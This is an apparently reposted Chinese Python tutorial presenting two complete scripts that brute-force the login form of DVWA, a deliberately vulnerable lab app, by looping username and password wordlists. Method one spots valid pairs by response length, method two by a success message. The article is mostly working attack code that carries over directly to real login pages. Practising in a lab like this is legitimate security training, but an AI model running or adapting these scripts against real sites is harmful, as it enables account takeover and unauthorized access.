python教程分享Python破解网站登录密码脚本

目录
  • 关键代码解释
  • 完整代码
    • 方法一
    • 运行结果
    • 方法二
    • 运行结果

测试靶机为dvwa,适合dvwa暴力破解模块的low和medium等级

关键代码解释

url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

header = {  'user-agent':'mozilla/5.0 (windows nt 10.0; wow64; rv:46.0) gecko/20100101 firefox/46.0',  'cookie':'security=medium; phpsessid=geo7gb3ehf5gfnbhrvuqu545i7'  }

payload设置请求参数

payload = {'username':username,'password':password,"login":'login'}

这一行的作用是作一次get请求,响应信息被变量response接收

response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的intruder模块的cluster bomb攻击方式一样

for admin in open("c:\users\admin\documents\字典\账号.txt"):      for line in open("c:\users\admin\documents\字典\密码.txt"):

然后把循环结果存放到csv文件里,用逗号分割数据

response.status_code是响应的http状态码,len(response.content)是http响应报文的长度

result = str(response.status_code) + ',' + username + ','    + password + ',' + str(len(response.content))  f.write(result + 'n')

完整代码

方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

import requests    url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"  #proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看  header = {  'user-agent':'mozilla/5.0 (windows nt 10.0; wow64; rv:46.0) gecko/20100101 firefox/46.0',  'cookie':'security=medium; phpsessid=bdi0ak5mqbud69nrnejgf8q00u'  }    f = open('result.csv','w')  f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + 'n')  for admin in open("c:\users\admin\documents\字典\账号.txt"):      for line in open("c:\users\admin\documents\字典\密码.txt"):          username = admin.strip()          password = line.strip()          payload = {'username':username,'password':password,"login":'login'}          response = requests.get(url,params=payload,headers=header)          result = str(response.status_code) + ',' + username + ','              + password + ',' + str(len(response.content))          f.write(result + 'n')                    print('n完成')

运行结果

运行

Python破解网站登录密码脚本

这就是脚本发送的数据包

Python破解网站登录密码脚本

查看结果

Python破解网站登录密码脚本

查看包长度与其他不同的数据,登录测试

Python破解网站登录密码脚本

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里

主要改动在第17到20行

import requests    url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"  #proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看  header = {  'user-agent':'mozilla/5.0 (windows nt 10.0; wow64; rv:46.0) gecko/20100101 firefox/46.0',  'cookie':'security=medium; phpsessid=bdi0ak5mqbud69nrnejgf8q00u'  }    f = open('result.txt','w')  for admin in open("c:\users\admin\documents\字典\账号.txt"):      for line in open("c:\users\admin\documents\字典\密码.txt"):          username = admin.strip()          password = line.strip()          payload = {'username':username,'password':password,"login":'login'}          response = requests.get(url,params=payload,headers=header)          if not(response.text.find('welcome to the password protected area')==-1):              result = username + ':' + password              print(result)              f.write(result + 'n')                            print('n完成')

运行结果

Python破解网站登录密码脚本

Python破解网站登录密码脚本

到此这篇关于python破解网站登录密码脚本的文章就介绍到这了,更多相关python破解网站登录密码内容请搜索<猴子技术宅>以前的文章或继续浏览下面的相关文章希望大家以后多多支持<猴子技术宅>!

需要了解更多python教程分享Python破解网站登录密码脚本,都可以关注python教程分享栏目—猴子技术宅(www.ssfiction.com)

本文来自网络收集,不代表猴子技术宅立场,如涉及侵权请点击右边联系管理员删除。

如若转载,请注明出处:https://www.ssfiction.com/pythons/1031115.html

发表评论

邮箱地址不会被公开。 必填项已用*标注